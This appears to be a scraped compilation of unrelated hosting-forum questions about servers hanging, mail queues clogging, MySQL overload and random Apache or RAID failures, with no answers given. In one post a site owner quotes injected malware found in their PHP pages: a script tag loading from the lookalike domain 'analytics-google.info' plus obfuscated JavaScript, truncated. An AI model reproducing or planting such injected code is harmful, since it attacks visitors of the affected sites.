So I requested a total of 5 to 6 times for a reboot from my DC. Whenever I try to start my AFP firewall, it just hang my server. Even after I reinstall AFP and start it, it still hang my server! Is there any log file where I can keep track of the problem?
A spammer (probably www.powerball.com) is sending spams using one of my email addresses as his / her "from" address. This hanged my mail server last week and it took more than 60 hours to solve the problem.
My host replied me the problem was "You have over 100,000 emails in your mail queue due to a large amount of Frozen emails that were either deferred by the remote servers or sent to invalid addresses repeatedly".
From this morning, my emails are blocked again. I can't send / receive mails using any of my email accounts (from this server). I don't know how long this will take again to solve the situation, and I'm afraid that this may not be the last time.
Now I don't know what to do. Ideally, a logical solution could be to delete any bounced mail automatically (I'm using nutsmail + squirrel mail).
My video sharing site has high traffic, alexa rate:3,000
My site has 2 servers to split the load. 2 servers share a mysql server. Using rrdns to load the balance.
Server A running mysql 5.0,lighttpd Server B running lighttpd. Server B connect to A's mysql database.
During peak time. B can not connect to A's mysql server. It says server not responding. But A still running fine. When I check mysql log file. /usr/libexec/mysqld: Forcing close of thread .....
And when run top, the load average is 20.
The spec of Server A Intel(R) Xeon(TM) CPU 3.06GHz dual core. 2G Ram.
Here is the my.cnf
Quote:
[mysqld] datadir=/var/lib/mysql socket=/var/lib/mysql/mysql.sock # Default to using old password format for compatibility with mysql 3.x # clients (those using the mysqlclient10 compatibility package). old_passwords=1 max_connections = 1000 wait_timeout=60 connect_timeout=10 interactive_timeout=120 join_buffer_size=1M query_cache_size=128M query_cache_limit=2M max_allowed_packet=16M table_cache=1024 sort_buffer_size=2M read_buffer_size=2M
My question, do I need another maching C to run lighttpd, and just keep mysql on A. Or I can do some mysql optimization on A.
Also, if my site keeps going, can I have 1 mysql server and 5 http servers?
I haven't really done anything new other then added another forum on the server (Invision).
Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.
On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.
The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.
Randomly my server goes offline. There is no pattern to this. It can be fine for weeks then have 5 issues in one day. I have to restart Apache and it all come back on.
I'm not sure where to start to look for errors as I'm not that experienced.

I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.
Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.
We are hosting a site on w2k3 server and every couple of days it just hangs. type in the url and it will not load, it timesout then u see the typical 404 error page. We have about 150 websites hosted on the same server, it just happens to this one.
Restart the application and its back up like it's never been down, speedy and running smoothly. I have tried looking for memory leaks, i've put it in its own application pool and it still happens.
Our client is getting frustrated by this and so are we with ourselves for not being able to resolve it.
I have a VPS in which mails are hanging in Mailqueue. When I use these commands at SSH(iptables -D OUTPUT 2 iptables -D OUTPUT 1 ), every thing goes fine and mails are started delivering but after 8 or 9 hours same problem occurs.
So my question is:
Can there be a permanent solution for this problem?
I've got a client who seems to be having a problem with his e-mail on my VPS.
When he tries to download mails his browser(thunderbird) says 'Receiving one of 80' and hangs. The only solution is to go into webmail and delete some of the mails then try and receive them again. One thing that puzzles me is he doesn't have 80 mails in his account, he only have 33.
This isn't happening with anyone else who's using thunderbird and my VPS.
After the micro update, the database copy function started to hung even just for copying database with 4 tables with less than 10 rows of recrods. Although I followed the link below to remove the hung database copy and remove the unfinished database copied. URL....However, no successful database was copied at all even after the timeout was adjusted.
The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.
I checked for log files or anything, but there was nothing mentioning resources or anything.
Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?
I just built a new pc, everything works well, but sometimes my computer will just restart randomly, it doesnt happen immedietly but randomly, within 30 or more minutes operating. Any ideas to why? and how i can fix it? ...
I am creating a web application, nothing spectacular just something to display content.
After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.
The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)
Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.
The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.
I contacted my host about the issue, and their first response said:
Quote:
Dear customer, The images are there if you login through plesk control panel and go to File Manager under your domain you can find the pictures and see them.But some of them are not opening under your website. Best Regards
Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...
Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.
Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.
49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).
For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.
At random times, the code in these php pages gets replaced by something like:
HTML Code: <script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>
Here's some debugging I have done.
1) If I rename login.php to say, log-in.php, the page gets saved from this
2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.
So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.
I use apache 2.4.1 and mod_fcgid (same config form apache 2.2.22+mod_fcgid 2.3.6) and without any error message, apache stop responding randomly.There is no problem with apache 2.2.22+mod_fcgid 2.3.6 and with apache 2.4.1 + php5_module i have
Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.
This problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.
My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.
But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.
My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.
I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.
my local host is just taking incredibly long to load. At work I've set it up no differently and it works like a charm, but at home, it works.. But at times it doesnt load instantly until I restart my browser. I have to press refresh or enter to login a million times for it to load after the first few seconds I use it.
I am currently running apache 2.4.4 with Tomcat and randomly i receive the following error when i try to hit the external URL:
Bad Gateway The proxy server received an invalid response from an upstream server
==================================================== Inside apachie error.log file., i also see the following error, i am not sure if they are related:
"The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed."
I have successfully installed eaccelerator on my win2k3 box and it is working great. The problem I am having is that every so often the cache files are mysteriously cleared. I know that the cache is cleared when apache is restarted but I have not restarted it and the files still go missing after a period of time. I have the ttl values for ea set to 0 to disable them.
I am trying to fix website [URL] .... I open the site like 20 times a day and like 2 times a day it shows blank page. Which logs I need to check or which tools to use? I have cpanel hosting, apache.
